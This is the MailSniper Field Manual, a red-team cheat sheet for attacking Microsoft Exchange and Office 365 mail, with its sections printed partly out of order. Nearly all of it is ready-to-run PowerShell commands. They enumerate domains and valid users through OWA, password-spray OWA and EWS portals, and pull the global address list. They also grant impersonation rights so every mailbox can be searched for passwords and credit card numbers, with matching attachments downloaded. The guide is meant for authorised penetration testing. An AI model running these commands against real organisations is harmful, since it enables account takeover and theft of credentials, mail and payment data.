Search All Mailboxes with Default Terms

1. On a domain-joined system specify the current domain username the PowerShell session is running as for the -ImpersonationAccount option. Invoke-GlobalMailSearch will prompt for administrative credentials (i.e. member of "Exchange Organization Administrators" or "Organization Management" group). Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the current user enabling them to search everyone's mailbox. By default, it will search for the terms 'password', 'creds', and 'credentials'.

```
PS C:\> Invoke-GlobalMailSearch -ImpersonationAccount
current-username -ExchHostname Exch01 -OutputCsv
global-email-search.csv
```

Search All Mailboxes for Credit Card Numbers

1. Invoke-GlobalMailSearch and Invoke-SelfSearch accept regular expressions with the -Regex option. The following command will attempt to match on valid VISA, Mastercard, and American Express credit card numbers in the body and subjects of emails.

```
PS C:\> Invoke-GlobalMailSearch -ImpersonationAccount
current-username -AutoDiscoverEmail current-
user@domain.com -Regex '.*3[47][0-9]{13}.*|.*(?:5[1-
5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-
9]{2}|27[01][0-9]|2720)[0-9]{12}.*|.*4[0-9]{12}(?:[0-
9]{3}).*'
```

Additional Resources

MailSniper Github Repo: https://github.com/dafthack/MailSniper

General MailSniper Info: https://www.blackhillsinfosec.com/?p=5296

GAL & Password Spraying: https://www.blackhillsinfosec.com/?p=5330

Bypassing 2FA: https://www.blackhillsinfosec.com/?p=5396

Invoke-OpenInboxFinder: https://www.blackhillsinfosec.com/?p=5871

Questions or comments please contact me at: beau<at>dafthack.com

Twitter: @dafthack

MailSniper Field Manual

By Beau Bullock (@dafthack)

Getting Started

1. Download the MailSniper.ps1 script from: https://github.com/dafthack/MailSniper
2. Start a new PowerShell session from a command terminal.
```
C:\> powershell.exe -exec bypass
```
3. Import MailSniper.
```
PS C:\> Import-Module .\MailSniper.ps1
```

Harvest Domain

1. Harvest the internal domain name of the target org (mail.domain.com).
```
PS C:\> Invoke-DomainHarvestOWA -ExchHostname
mail.domain.com
```

Harvest Usernames

1. Generate a list (userlist.txt) of potential usernames in the format 'DOMAIN\username' or 'user@domain.com'.
2. Harvest valid usernames from an OWA portal (mail.domain.com).
```
PS C:\> Invoke-UsernameHarvestOWA -ExchHostname
mail.domain.com -UserList .\userlist.txt -Threads 1 -
OutFile owa-valid-users.txt
```

Password Spraying

1. Generate a list (userlist.txt) of usernames to password spray.
2. Choose a password (Summer2017).
3. Spray an OWA portal (mail.domain.com).
```
PS C:\> Invoke-PasswordSprayOWA -ExchHostname
mail.domain.com -UserList .\userlist.txt -Password
Summer2017 -Threads 15 -OutFile owa-sprayed-creds.txt
```
4. Or… Spray EWS.
```
PS C:\> Invoke-PasswordSprayEWS -ExchHostname
mail.domain.com -UserList .\userlist.txt -Password
Summer2017 -Threads 15 -OutFile sprayed-ews-creds.txt
```

Access Global Address List

1. Using a valid credential point Get-GlobalAddressList to either an OWA or EWS server (it will try both) and set the -UserName and -Password options accordingly.
```
PS C:\> Get-GlobalAddressList -ExchHostname
mail.domain.com -UserName domain\username -Password
Summer2017 -OutFile global-address-list.txt
```

Get Active Directory User Names From EWS

1. With a list of valid email addresses (email-list.txt) point Get-ADUsernameFromEWS at an EWS portal. It will prompt for creds.
```
PS C:\> Get-ADUsernameFromEWS -EmailList email-
list.txt -ExchHostname outlook.office365.com -Remote
```

Find Inboxes with Too Broad Permissions

1. Generate a list of email addresses (email-list.txt) to check if their mailbox is openly readable by other users.
2. Use Invoke-OpenInboxFinder against the target EWS server specifying the ExchHostname accordingly (works with O365 too). It will prompt for creds.
```
PS C:\> Invoke-OpenInboxFinder -EmailList email-
list.txt -ExchHostname outlook.office365.com -Remote
```

Search Current Mailbox with Default Terms

1. On a domain-joined system specify the email address of the current domain user the PowerShell session is running as for the -Mailbox option. Invoke-SelfSearch will search the Inbox for the terms 'password', 'creds', and 'credentials'.
```
PS C:\> Invoke-SelfSearch -Mailbox current-
user@domain.com
```

Search Current Mailbox with Custom Terms Against Remote Portal

1. Specify custom terms to search for with the -Terms option. Specifying the -Remote option will prompt for a user's credentials. This can be used to search the inbox of a user remotely against an Internet facing EWS server (works for O365 too).
```
PS C:\> Invoke-SelfSearch -Mailbox current-
user@domain.com -ExchHostname mail.domain.com -Terms
"*passwords*","*super secret*","*industrial control
systems*","*scada*","*launch codes*" -Remote
```

Search Current Mailbox Including Attachments and Download Matches

1. Specifying the -CheckAttachments option will cause Invoke-SelfSearch or Invoke-GlobalMailSearch to search the current user's mailbox for the default terms including attachments. It will download any attachments that match to 'C:\temp'
```
PS C:\> Invoke-SelfSearch -Mailbox current-
user@domain.com -CheckAttachments -DownloadDir
C:\temp
```